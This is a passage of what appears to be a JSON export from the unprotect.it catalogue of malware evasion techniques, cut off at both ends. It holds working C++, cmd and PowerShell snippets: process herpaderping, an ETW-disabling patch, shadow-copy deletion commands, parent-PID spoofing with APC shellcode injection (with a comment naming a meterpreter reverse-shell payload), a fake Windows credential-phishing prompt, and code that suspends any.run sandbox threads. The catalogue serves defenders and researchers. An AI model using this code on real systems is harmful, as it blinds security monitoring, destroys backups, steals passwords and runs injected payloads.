sourceHandle.reset(CreateFileW(SourceFileName.c_str(),\r\n                                   GENERIC_READ,\r\n                                   FILE_SHARE_READ | \r\n                                       FILE_SHARE_WRITE | \r\n                                       FILE_SHARE_DELETE,\r\n                                   nullptr,\r\n                                   OPEN_EXISTING,\r\n                                   FILE_ATTRIBUTE_NORMAL,\r\n                                   nullptr));\r\n    if (!sourceHandle.is_valid())\r\n    {\r\n        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, \r\n                                         GetLastError(), \r\n                                         L\"Failed to open source file\"));\r\n    }\r\n\r\n    std::wstring targetFileName = TargetFileName;\r\n    if (FlagOn(Flags, FlagDirectory))\r\n    {\r\n        Utils::Log(Log::Information, \r\n                   L\"Targeting Directory: \\\"%ls\\\"\", \r\n                   targetFileName.c_str());\r\n\r\n        wil::unique_handle dirHandle;\r\n        if (CreateDirectoryW(targetFileName.c_str(), nullptr) == FALSE)\r\n        {\r\n            RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, \r\n                                             GetLastError(), \r\n                                             L\"Failed to create directory\"));\r\n        }\r\n\r\n        targetFileName += L\":exe\";\r\n\r\n        Utils::Log(Log::Information, \r\n                   L\"Using Directory Stream: \\\"%ls\\\"\", \r\n                   targetFileName.c_str());\r\n    }\r\n\r\n    DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);\r\n    if (FlagOn(Flags, FlagHoldHandleExclusive))\r\n    {\r\n        Utils::Log(Log::Information, \r\n                   L\"Creating target file with exclusive access\");\r\n        shareMode = 0;\r\n    }\r\n\r\n    wil::unique_handle targetHandle;\r\n    targetHandle.reset(CreateFileW(targetFileName.c_str(),\r\n                                   GENERIC_READ | GENERIC_WRITE,\r\n                                   shareMode,\r\n                                   nullptr,\r\n                                   CREATE_ALWAYS,\r\n                                   FILE_ATTRIBUTE_NORMAL,\r\n                                   nullptr));\r\n    if(!targetHandle.is_valid())\r\n    {\r\n        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, \r\n                                         GetLastError(), \r\n                                         L\"Failed to create target file\"));\r\n    }\r\n\r\n    //\r\n    // Copy the content of the source process to the target.\r\n    //\r\n    HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(),\r\n                                         targetHandle.get());\r\n    if (FAILED(hr))\r\n    {\r\n        Utils::Log(Log::Error,\r\n                   hr,\r\n                   L\"Failed to copy source binary to target file\");\r\n        RETURN_HR(hr);\r\n    }\r\n\r\n    Utils::Log(Log::Information, L\"Copied source binary to target file\");\r\n\r\n    //\r\n    // We're done with the source binary.\r\n    //\r\n    sourceHandle.reset();\r\n\r\n    //\r\n    // Map and create the target process. We'll make it all derpy in a moment...\r\n    //\r\n    wil::unique_handle sectionHandle;\r\n    auto status = NtCreateSection(&sectionHandle,\r\n                                  SECTION_ALL_ACCESS,\r\n                                  nullptr,\r\n                                  nullptr,\r\n                                  PAGE_READONLY,\r\n                                  SEC_IMAGE,\r\n                                  targetHandle.get());\r\n    if (!NT_SUCCESS(status))\r\n    {\r\n        sectionHandle.release();\r\n        RETURN_NTSTATUS(Utils::Log(\r\n                              Log::Error, \r\n                              status, \r\n                              L\"Failed to create target file image section\"));\r\n    }\r\n\r\n    Utils::Log(Log::Information, L\"Created image section for target\");\r\n\r\n    status = NtCreateProcessEx(&processHandle,\r\n                               PROCESS_ALL_ACCESS,\r\n                               nullptr,\r\n                               NtCurrentProcess(),\r\n                               PROCESS_CREATE_FLAGS_INHERIT_HANDLES,\r\n                               sectionHandle.get(),\r\n                               nullptr,\r\n                               nullptr,\r\n                               0);\r\n    if (!NT_SUCCESS(status))\r\n    {\r\n        processHandle.release();\r\n        RETURN_NTSTATUS(Utils::Log(Log::Error, \r\n                                   status, \r\n                                   L\"Failed to create process\"));\r\n    }\r\n\r\n    Utils::Log(Log::Information,\r\n               L\"Created process object, PID %lu\",\r\n               GetProcessId(processHandle.get()));\r\n\r\n    //\r\n    // Alright we have the process set up, we don't need the section.\r\n    //\r\n    sectionHandle.reset();\r\n\r\n    //\r\n    // Go get the remote entry RVA to create a thread later on.\r\n    //\r\n    uint32_t imageEntryPointRva;\r\n    hr = Utils::GetImageEntryPointRva(targetHandle.get(),\r\n                                      imageEntryPointRva);\r\n    if (FAILED(hr))\r\n    {\r\n        Utils::Log(Log::Error, \r\n                   hr, \r\n                   L\"Failed to get target file image entry RVA\");\r\n        RETURN_HR(hr);\r\n    }\r\n\r\n    Utils::Log(Log::Information,\r\n               L\"Located target image entry RVA 0x%08x\",\r\n               imageEntryPointRva);\r\n\r\n    //\r\n    // Alright, depending on the parameter passed in. We will either:\r\n    //   A. Overwrite the target binary with another.\r\n    //   B. Overwrite the target binary with a pattern.\r\n    //\r\n    if (ReplaceWithFileName.has_value())\r\n    {\r\n        //\r\n        // (A) We are overwriting the binary with another file.\r\n        //\r\n        Utils::Log(Log::Success,\r\n                   L\"Replacing target with \\\"%ls\\\"\",\r\n                   ReplaceWithFileName->c_str());\r\n\r\n        wil::unique_handle replaceWithHandle;\r\n        replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(),\r\n                                            GENERIC_READ,\r\n                                            FILE_SHARE_READ |\r\n                                                FILE_SHARE_WRITE |\r\n                                                FILE_SHARE_DELETE,\r\n                                            nullptr,\r\n                                            OPEN_EXISTING,\r\n                                            FILE_ATTRIBUTE_NORMAL,\r\n                                            nullptr));\r\n\r\n        if (!replaceWithHandle.is_valid())\r\n        {\r\n            RETURN_LAST_ERROR_SET(Utils::Log(\r\n                                        Log::Error, \r\n                                        GetLastError(), \r\n                                        L\"Failed to open replace with file\"));\r\n        }\r\n\r\n        //\r\n        // Replace the bytes. We handle a failure here. We'll fix it up after.\r\n        //\r\n        hr = Utils::CopyFileByHandle(replaceWithHandle.get(),\r\n                                     targetHandle.get(),\r\n                                     FlagOn(Flags, FlagFlushFile));\r\n        if (FAILED(hr))\r\n        {\r\n            if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))\r\n            {\r\n                Utils::Log(Log::Error, \r\n                           hr,\r\n                           L\"Failed to replace target file\");\r\n                RETURN_HR(hr);\r\n            }\r\n\r\n            //\r\n            // This error occurs when trying to truncate a file that has a\r\n            // user mapping open. In other words, the file we tried to replace\r\n            // with was smaller than the original.\r\n            // Let's fix up the replacement to hide the original bytes and \r\n            // retain any signer info.\r\n            //\r\n            Utils::Log(Log::Information,\r\n                       L\"Fixing up target replacement, \"\r\n                       L\"hiding original bytes and retaining any signature\");\r\n\r\n            uint64_t replaceWithSize;\r\n            hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);\r\n            if (FAILED(hr))\r\n            {\r\n                Utils::Log(Log::Error, \r\n                           hr,\r\n                           L\"Failed to get replace with file size\");\r\n                RETURN_HR(hr);\r\n            }\r\n\r\n            uint32_t bytesWritten = 0;\r\n            hr = Utils::OverwriteFileAfterWithPattern(\r\n                                                targetHandle.get(),\r\n                                                replaceWithSize,\r\n                                                Pattern,\r\n                                                bytesWritten,\r\n                                                FlagOn(Flags, FlagFlushFile));\r\n            if (FAILED(hr))\r\n            {\r\n                Utils::Log(Log::Warning, \r\n                           hr,\r\n                           L\"Failed to hide original file bytes\");\r\n            }\r\n            else\r\n            {\r\n                hr = Utils::ExtendFileSecurityDirectory(\r\n                                                targetHandle.get(),\r\n                                                bytesWritten,\r\n                                                FlagOn(Flags, FlagFlushFile));\r\n                if (FAILED(hr))\r\n                {\r\n                    Utils::Log(Log::Warning,\r\n                               hr,\r\n                               L\"Failed to retain file signature\");\r\n                }\r\n            }\r\n        }\r\n    }\r\n    else\r\n    {\r\n        //\r\n        // (B) Just overwrite the target binary with a pattern.\r\n        //\r\n        Utils::Log(Log::Success, L\"Overwriting target with pattern\");\r\n\r\n        hr = Utils::OverwriteFileContentsWithPattern(\r\n                                                targetHandle.get(),\r\n                                                Pattern,\r\n                                                FlagOn(Flags, FlagFlushFile));\r\n        if (FAILED(hr))\r\n        {\r\n            Utils::Log(Log::Error, \r\n                       hr, \r\n                       L\"Failed to write pattern over file\");\r\n            RETURN_HR(hr);\r\n        }\r\n    }\r\n\r\n    //\r\n    // Alright, at this point the process is going to be derpy enough.\r\n    // Do the work necessary to make it execute.\r\n    //\r\n    Utils::Log(Log::Success, L\"Preparing target for execution\");\r\n\r\n    PROCESS_BASIC_INFORMATION pbi{};\r\n    status = NtQueryInformationProcess(processHandle.get(),\r\n                                       ProcessBasicInformation,\r\n                                       &pbi,\r\n                                       sizeof(pbi),\r\n                                       nullptr);\r\n    if (!NT_SUCCESS(status))\r\n    {\r\n        RETURN_NTSTATUS(Utils::Log(Log::Error, \r\n                                   status, \r\n                                   L\"Failed to query new process info\"));\r\n    }\r\n\r\n    PEB peb{};\r\n    if (!ReadProcessMemory(processHandle.get(),\r\n                           pbi.PebBaseAddress,\r\n                           &peb,\r\n                           sizeof(peb),\r\n                           nullptr))\r\n    {\r\n        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, \r\n                                         GetLastError(), \r\n                                         L\"Failed to read remote process PEB\"));\r\n    }\r\n\r\n    Utils::Log(Log::Information,\r\n               L\"Writing process parameters, remote PEB ProcessParameters 0x%p\",\r\n               Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));\r\n\r\n    hr = Utils::WriteRemoteProcessParameters(\r\n                               processHandle.get(),\r\n                               TargetFileName,\r\n                               std::nullopt,\r\n                               std::nullopt,\r\n                               (L\"\\\"\" + TargetFileName + L\"\\\"\"),\r\n                               NtCurrentPeb()->ProcessParameters->Environment,\r\n                               TargetFileName,\r\n                               L\"WinSta0\\\\Default\",\r\n                               std::nullopt,\r\n                               std::nullopt);\r\n    if (FAILED(hr))\r\n    {\r\n        Utils::Log(Log::Error, \r\n                   hr, \r\n                   L\"Failed to write remote process parameters\");\r\n        RETURN_HR(hr);\r\n    }\r\n\r\n    if (FlagOn(Flags, FlagCloseFileEarly))\r\n    {\r\n        //\r\n        // Caller wants to close the file early, before the notification\r\n        // callback in the kernel would fire, do so.\r\n        //\r\n        targetHandle.reset();\r\n    }\r\n\r\n    //\r\n    // Create the initial thread, when this first thread is inserted the\r\n    // process create callback will fire in the kernel.\r\n    //\r\n    void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);\r\n\r\n    Utils::Log(Log::Information,\r\n               L\"Creating thread in process at entry point 0x%p\",\r\n               remoteEntryPoint);\r\n\r\n    wil::unique_handle threadHandle;\r\n    status = NtCreateThreadEx(&threadHandle,\r\n                              THREAD_ALL_ACCESS,\r\n                              nullptr,\r\n                              processHandle.get(),\r\n                              remoteEntryPoint,\r\n                              nullptr,\r\n                              0,\r\n                              0,\r\n                              0,\r\n                              0,\r\n                              nullptr);\r\n    if (!NT_SUCCESS(status))\r\n    {\r\n        threadHandle.release();\r\n        RETURN_NTSTATUS(Utils::Log(Log::Error, \r\n                                   status, \r\n                                   L\"Failed to create remote thread\"));\r\n    }\r\n\r\n    Utils::Log(Log::Information,\r\n               L\"Created thread, TID %lu\",\r\n               GetThreadId(threadHandle.get()));\r\n\r\n    if (!FlagOn(Flags, FlagKillSpawnedProcess))\r\n    {\r\n        //\r\n        // Process was executed successfully. Do not terminate.\r\n        //\r\n        terminateProcess.release();\r\n    }\r\n\r\n    if (!FlagOn(Flags, FlagHoldHandleExclusive))\r\n    {\r\n        //\r\n        // We're done with the target file handle. At this point the process \r\n        // create callback will have fired in the kernel.\r\n        //\r\n        targetHandle.reset();\r\n    }\r\n\r\n    if (FlagOn(Flags, FlagWaitForProcess))\r\n    {\r\n        //\r\n        // Wait for the process to exit.\r\n        //\r\n        Utils::Log(Log::Success, L\"Waiting for herpaderped process to exit\");\r\n\r\n        WaitForSingleObject(processHandle.get(), INFINITE);\r\n\r\n        DWORD targetExitCode = 0;\r\n        GetExitCodeProcess(processHandle.get(), &targetExitCode);\r\n\r\n        Utils::Log(Log::Success,\r\n                   L\"Herpaderped process exited with code 0x%08x\",\r\n                   targetExitCode);\r\n    }\r\n    else\r\n    {\r\n        Utils::Log(Log::Success, L\"Successfully spawned herpaderped process\");\r\n    }\r\n\r\n    return S_OK;\r\n}"
        },
        {
            "id": 73,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/177/?format=api",
            "description": "Snippet source code from @_vivami",
            "plain_code": "void disableETW(void) {\r\n\t// return 0\r\n\tunsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3};     // xor rax, rax; ret\r\n\t\r\n\tULONG oldprotect = 0;\r\n\tsize_t size = sizeof(patch);\r\n\t\r\n\tHANDLE hCurrentProc = GetCurrentProcess();\r\n\t\r\n\tunsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };\r\n\t\r\n\tvoid *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);\r\n\t\r\n\tNtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);\r\n\t\r\n\tmemcpy(pEventWrite, patch, size / sizeof(patch[0]));\r\n\t\r\n\tNtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);\r\n\tFlushInstructionCache(hCurrentProc, pEventWrite, size);\r\n\t\r\n}"
        },
        {
            "id": 71,
            "language": {
                "id": 7,
                "label": "cmd",
                "code_class": "cmd"
            },
            "user": {
                "id": 18,
                "username": "hackeT",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/tatsuya-hasegawa-aa3279142/",
                "twitter": "https://twitter.com/T_8ase",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/175/?format=api",
            "description": "",
            "plain_code": "vssadmin.exe delete shadows /all /quiet\r\nwmic shadowcopy delete /nointeractive\r\nvssadmin resize shadowstorage /for= /on= /maxsize="
        },
        {
            "id": 72,
            "language": {
                "id": 8,
                "label": "PowerShell",
                "code_class": "powershell"
            },
            "user": {
                "id": 18,
                "username": "hackeT",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/tatsuya-hasegawa-aa3279142/",
                "twitter": "https://twitter.com/T_8ase",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/175/?format=api",
            "description": "",
            "plain_code": "Get-WmiObject Win32_ShadowCopy | % { $_.Delete() }\r\nGet-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }\r\nGet-WmiObject Win32_ShadowCopy | Remove-WmiObject"
        },
        {
            "id": 69,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 17,
                "username": "Halil Dalabasmaz",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/hlldz",
                "twitter": "https://twitter.com/hlldz",
                "website": "artofpwn.com",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/173/?format=api",
            "description": "",
            "plain_code": "#include <windows.h>\r\n#include <TlHelp32.h>\r\n#include <iostream>\r\n\r\nDWORD getParentProcessID() {\r\n\tHANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tPROCESSENTRY32 process = { 0 };\r\n\tprocess.dwSize = sizeof(process);\r\n\r\n\tif (Process32First(snapshot, &process)) {\r\n\t\tdo {\r\n            \t\t//If you want to another process as parent change here\r\n\t\t\tif (!wcscmp(process.szExeFile, L\"explorer.exe\"))\r\n\t\t\t\tbreak;\r\n\t\t} while (Process32Next(snapshot, &process));\r\n\t}\r\n\r\n\tCloseHandle(snapshot);\r\n\treturn process.th32ProcessID;\r\n}\r\n\r\nint main() {\r\n\r\n\t//Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c\r\n\tunsigned char shellCode[] = \"\";\r\n\r\n\tSTARTUPINFOEXA sInfoEX;\r\n\tPROCESS_INFORMATION pInfo;\r\n\tSIZE_T sizeT;\r\n\r\n\tHANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());\r\n\r\n\tZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));\r\n\tInitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);\r\n\tsInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);\r\n\tInitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);\r\n\tUpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);\r\n\tsInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);\r\n\r\n\tCreateProcessA(\"C:\\\\Program Files\\\\internet explorer\\\\iexplore.exe\", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);\r\n\r\n\tLPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\tSIZE_T *lpNumberOfBytesWritten = 0;\r\n\tBOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);\r\n\r\n\tQueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);\r\n\tResumeThread(pInfo.hThread);\r\n\tCloseHandle(pInfo.hThread);\r\n\r\n\treturn 0;\r\n}"
        },
        {
            "id": 70,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 17,
                "username": "Halil Dalabasmaz",
                "email": "null@localhost",
                "linkedin": "https://www.linkedin.com/in/hlldz",
                "twitter": "https://twitter.com/hlldz",
                "website": "artofpwn.com",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/174/?format=api",
            "description": "",
            "plain_code": "#include <Windows.h>\r\n#include <tchar.h>\r\n#include <CommCtrl.h>\r\n#include <wincred.h>\r\n#include <iostream>\r\n#include <atlstr.h>\r\n\r\n#pragma comment(lib, \"comctl32.lib\")\r\n#pragma comment(lib, \"Credui.lib\")\r\n\r\nvoid pickl3() {\r\n\r\n\tBOOL loginStatus = FALSE;\r\n\tdo {\r\n\t\tCREDUI_INFOW credui = {};\r\n\t\tcredui.cbSize = sizeof(credui);\r\n\t\tcredui.hwndParent = nullptr;\r\n\t\t//credui.pszMessageText = L\"...\";\r\n\t\tcredui.pszCaptionText = L\"Please verify your Windows user credentials to proceed.\";\r\n\t\tcredui.hbmBanner = nullptr;\r\n\r\n\t\tULONG authPackage = 0;\r\n\t\tLPVOID outCredBuffer = nullptr;\r\n\t\tULONG outCredSize = 0;\r\n\t\tBOOL save = false;\r\n\t\tDWORD err = 0;\r\n\r\n\t\terr = CredUIPromptForWindowsCredentialsW(&credui, err, &authPackage, nullptr, 0, &outCredBuffer, &outCredSize, &save, CREDUIWIN_ENUMERATE_CURRENT_USER);\r\n\t\tif (err == ERROR_SUCCESS) {\r\n\t\t\tWCHAR pszUName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];\r\n\t\t\tWCHAR pszPwd[CREDUI_MAX_PASSWORD_LENGTH * sizeof(WCHAR)];\r\n\t\t\tWCHAR domain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];\r\n\t\t\tDWORD maxLenName = CREDUI_MAX_USERNAME_LENGTH + 1;\r\n\t\t\tDWORD maxLenPassword = CREDUI_MAX_PASSWORD_LENGTH + 1;\r\n\t\t\tDWORD maxLenDomain = CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1;\r\n\t\t\tCredUnPackAuthenticationBufferW(CRED_PACK_PROTECTED_CREDENTIALS, outCredBuffer, outCredSize, pszUName, &maxLenName, domain, &maxLenDomain, pszPwd, &maxLenPassword);\r\n\r\n\t\t\tWCHAR parsedUserName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];\r\n\t\t\tWCHAR parsedDomain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];\r\n\t\t\tCredUIParseUserNameW(pszUName, parsedUserName, CREDUI_MAX_USERNAME_LENGTH + 1, parsedDomain, CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1);\r\n\r\n\t\t\tHANDLE handle = nullptr;\r\n\t\t\tloginStatus = LogonUserW(parsedUserName, parsedDomain, pszPwd, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &handle);\r\n\r\n\r\n\t\t\tif (loginStatus == TRUE) {\r\n\t\t\t\tCloseHandle(handle);\r\n\t\t\t\tstd::wcout << \"\\n[+] Valid credential is entered as \" << pszUName << \":\" << pszPwd;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tstd::wcout << \"\\n[-] Invalid credential is entered as \" << pszUName << \":\" << pszPwd;\r\n\t\t\t\tloginStatus = FALSE;\r\n\t\t\t}\r\n\t\t}\r\n\t} while (loginStatus == FALSE);\r\n}\r\n\r\n\r\n\r\nint main () {\r\n\t\r\n\tpickl3();\r\n\treturn 0;\r\n}"
        },
        {
            "id": 68,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 14,
                "username": "Kağan IŞILDAK",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/kaganisildak",
                "website": "https://kaganisildak.com",
                "github": "https://github.com/kaganisildak"
            },
            "technique": "https://unprotect.it/api/techniques/168/?format=api",
            "description": "Source: https://github.com/Malwation/InceptionAttack",
            "plain_code": "#include <iostream>\r\n#include <windows.h>\r\n#include <TlHelp32.h>\r\n#define DEBUG_MODE 1\r\n#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)\r\n#define ThreadQuerySetWin32StartAddress 9\r\n\r\ntypedef NTSTATUS(WINAPI* NTQUERYINFOMATIONTHREAD)(HANDLE, LONG, PVOID, ULONG, PULONG);\r\n\r\nstruct args {\r\n\tHANDLE hThread;\r\n};\r\n\r\nDWORD_PTR WINAPI GetThreadStartAddress(HANDLE hThread)\r\n{\r\n\tNTSTATUS ntStatus;\r\n\tDWORD_PTR dwThreadStartAddr;\r\n\tNTQUERYINFOMATIONTHREAD NtQueryInformationThread;\r\n\tNtQueryInformationThread = (NTQUERYINFOMATIONTHREAD)GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtQueryInformationThread\");\r\n\tntStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &dwThreadStartAddr, sizeof(DWORD_PTR), NULL);\r\n\tif (ntStatus != STATUS_SUCCESS) {\r\n\t\treturn 0;\r\n\t}\r\n\treturn dwThreadStartAddr;\r\n}\r\n\r\nDWORD_PTR * GetModuleInfo(DWORD pid, const wchar_t *target) {\r\n\tHANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);\r\n\tDWORD_PTR moduleinfo[2];\r\n\tif (hSnap != INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tMODULEENTRY32 modEntry;\r\n\t\tmodEntry.dwSize = sizeof(modEntry);\r\n\t\tif (Module32First(hSnap, &modEntry))\r\n\t\t{\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tif (!_wcsicmp(modEntry.szModule, target)) {\r\n\t\t\t\t\tmoduleinfo[0] = (DWORD_PTR)modEntry.modBaseAddr;\r\n\t\t\t\t\tmoduleinfo[1] = modEntry.modBaseSize;\r\n\t\t\t\t\treturn moduleinfo;\r\n\t\t\t\t}\r\n\t\t\t\t//std::wcout << \"Name: \" << modEntry.szModule << \"\\t Addr: \" << modEntry.modBaseAddr << \"\\n\";\r\n\t\t\t} while (Module32Next(hSnap, &modEntry));\r\n\t\t}\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nBOOL isTarget(HANDLE tHandle, DWORD pid, const wchar_t *target) {\r\n\tDWORD_PTR ThreadStartAddr = GetThreadStartAddress(tHandle);\r\n\tif (!ThreadStartAddr) {\r\n\t\tstd::cout << \"Get start address of thread failed!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\tDWORD_PTR* retmoduleinfo = GetModuleInfo(pid, target);\r\n\tDWORD_PTR ModuleStart = retmoduleinfo[0];\r\n\tDWORD_PTR ModuleEnd = retmoduleinfo[0] + retmoduleinfo[1];\r\n\t// Only shows debug mode on (1)\r\n\tif (DEBUG_MODE) {\r\n\t\tprintf(\"THREAD START ADDR: %012X\\n\", ThreadStartAddr);\r\n\t\tprintf(\"MODULE START ADDR: %012X\\n\", retmoduleinfo[0]);\r\n\t\tprintf(\"MODULE END ADDR: %012X\\n\", retmoduleinfo[0] + retmoduleinfo[1]);\r\n\t}\r\n\tif (ThreadStartAddr >= ModuleStart && ThreadStartAddr <= ModuleEnd) { // Is thread start address between ModuleStart and ModuleEnd?\r\n\t\treturn TRUE;\r\n\t}\r\n\telse {\r\n\t\treturn FALSE;\r\n\t}\r\n}\r\n\r\nvoid CrackAnyRun(LPVOID inargs) {\r\n\targs *funcargs = (args*)inargs;\r\n\tHANDLE tHandle = funcargs->hThread;\r\n\twhile (1){\r\n\t\tSuspendThread(tHandle);\r\n\t\tstd::cout << \"Thread suspended\\n\";\r\n\t\tSleep(24000);\r\n\t\tResumeThread(tHandle);\r\n\t\tstd::cout << \"Thread resumed\\n\";\r\n\t\tSleep(1000);\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tHANDLE tHandle, pHandle = 0, hToken;\r\n\tDWORD tid, pid = 0;\r\n\tLUID luid = { 0 };\r\n\tBOOL privRet = FALSE;\r\n\r\n\tif (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))\r\n\t{\r\n\t\tstd::cout << \"OpenProcessToken success!\\n\";\r\n\t\tif (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))\r\n\t\t{\r\n\t\t\tTOKEN_PRIVILEGES tokenPriv = { 0 };\r\n\t\t\ttokenPriv.PrivilegeCount = 1;\r\n\t\t\ttokenPriv.Privileges[0].Luid = luid;\r\n\t\t\ttokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\r\n\t\t\tprivRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL);\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"OpenProcessToken failed! Error: \" << GetLastError() << \"\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\tif (!privRet) {\r\n\t\tstd::cout << \"Adjust privilege failed!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\r\n\t// Find PID by name\r\n\tPROCESSENTRY32 pe; \r\n\tHANDLE hps = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tif (hps != INVALID_HANDLE_VALUE) {\r\n\t\tpe.dwSize = sizeof(PROCESSENTRY32);\r\n\t\tif (Process32First(hps, &pe)) {\r\n\t\t\tdo {\r\n\t\t\t\tif (!_wcsicmp(pe.szExeFile, L\"srvpost.exe\")) {\r\n\t\t\t\t\tpid = pe.th32ProcessID;\r\n\t\t\t\t}\r\n\t\t\t} while (Process32Next(hps, &pe));\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Process snapshot cannot taken!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\tif (pid == 0) {\r\n\t\tstd::cout << \"Process not found!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\t// Retrieve threads in process\r\n\tHANDLE hth = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n\tif (hth != INVALID_HANDLE_VALUE) {\r\n\t\tTHREADENTRY32 te;\r\n\t\tte.dwSize = sizeof(te);\r\n\t\tif (Thread32First(hth, &te)) {\r\n\t\t\tdo {\r\n\t\t\t\tif (te.th32OwnerProcessID == pid) {\r\n\t\t\t\t\ttHandle = OpenThread(THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, FALSE, te.th32ThreadID);\r\n\t\t\t\t\tif (tHandle != INVALID_HANDLE_VALUE) {\r\n\t\t\t\t\t\tif (isTarget(tHandle, pid, L\"winsanr.dll\")) {\r\n\t\t\t\t\t\t\tSuspendThread(tHandle);\r\n\t\t\t\t\t\t\t// Only shows debug mode on (1)\r\n\t\t\t\t\t\t\tif (DEBUG_MODE) {\r\n\t\t\t\t\t\t\t\tstd::cout << \"THREADID: \" << te.th32ThreadID << \"\\n\";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t// Crack any.run :D \r\n\t\t\t\t\t\tif (isTarget(tHandle, pid, L\"sechost.dll\")) {\r\n\t\t\t\t\t\t\tHANDLE dupHandle;\r\n\t\t\t\t\t\t\tif (DuplicateHandle(GetCurrentProcess(), tHandle, GetCurrentProcess(), &dupHandle, THREAD_SUSPEND_RESUME, FALSE, 0)) {\r\n\t\t\t\t\t\t\t\targs thargs;\r\n\t\t\t\t\t\t\t\tthargs.hThread = dupHandle;\r\n\t\t\t\t\t\t\t\tCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CrackAnyRun, &thargs, 0, 